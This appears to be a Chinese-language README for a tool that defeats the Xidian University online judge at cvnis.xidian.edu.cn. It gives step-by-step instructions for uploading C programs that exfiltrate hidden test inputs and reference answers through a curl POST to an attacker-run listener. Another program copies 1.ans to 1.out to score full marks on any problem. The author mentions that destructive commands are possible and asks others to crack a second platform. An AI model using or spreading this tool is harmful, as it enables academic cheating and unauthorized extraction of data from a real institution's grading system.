这是一个可以用于在 cvnis.xidian.edu.cn
这个平台上骗取测试样例和示例答案的工具。它由需要上传的程序 .c
程序和本地运行的 .py
程序两部分组成。在这个平台升级之前,我想这个工具是可以奏效的。
双击执行 ReceiveRequest.exe
如果看到 Local IP 说明运行正常。
(这个文件由 ReceiveRequest.py
打包编译而来,可能会运行出错。如果出错,则手动执行ReceiveRequest.py
文件即可。)
上传之前有两处需要修改
- 确保你自己连接了西电的校园网,而不是其他网络。
- 将程序中的
ip[LENGTH]="10.198.67.44:8080";
双引号里面的部分替换成第一步执行的程序中看到的 Local IP 。 - 将程序中
int number_of_examples = 3;
的数字改成你本题的测试用例数目,如果你并不知道有几个测试样例,你只需要把这个数字设置的稍微大一点大约10
左右即可。
根据需要上传下面四个文件中的一个
AlwaysRight.c
可以在这个平台上任意一道题目中获得满分。很无赖,谨慎使用。
GetTestExample.c
可以获得所有的测试用例,在刚才执行的ReceiveRequest.exe
中查看。
GetAnswer.c
可以获得所有的测试标准答案,在刚才的ReceiveRequest.exe
中查看。
GetTestExample_complex.c
可以自定义输入的读入方式。当自动获得测试用例出现混乱时使用。
根据OJ系统的工作原理,它将一个在1.in
文件里的信息作为输入流读入程序,然后将程序的输出流保存到1.out
文件中,另外在当前目录下还有一个1.ans
文件里保存了标准答案。当你的程序执行完成后,OJ系统将会比较1.out
文件和1.ans
文件里的信息是否一致,从而判断你的程序是否正确。
因此这个程序通过读取1.in
文件里的信息,并且通过 curl --data-binary @./1.in http://IP:port/Receiver?message=Input
这样一条 Terminal 命令,将文件中的信息用一个 POST 请求发送到一个指定的服务器,而这个服务器正是我们启动的 ReceiveRequest.exe
这个程序。同理我们可以获得1.ans
文件中的标准答案。
AlwaysRight.c
程序则是通过直接复制1.ans
文件到当前目录并且重命名为1.out
。也就是执行了这样一条命令cp 1.ans 1.out
,从而就保证了我们的输出文件一定是标准答案。
此程序仅用于深入学习了解OJ系统的工作原理,用来获得自己有疑惑的题目的测试用例和答案。或者找出一些答案错误的题目(学长们多年都未能解决的问题)
由于可以操作系统命令行,理论上可以进行一系列破坏性操作。
但请一定不要这样做,但请一定不要这样做,但请一定不要这样做。
此程序仅仅适用于cvnis.xidian.edu.cn
,并不适用于http://39.98.193.72/xdoj-ssm/login.jsp
这里,这个平台几乎删除或者重写了所有能调用系统命令行的方法,我尝试过直接写一个能联网的程序,或者手动嵌入部分被删改的代码,但是都没能取得很好的结果。如果有大佬完成了这个平台的爆破请一定让我学习一下!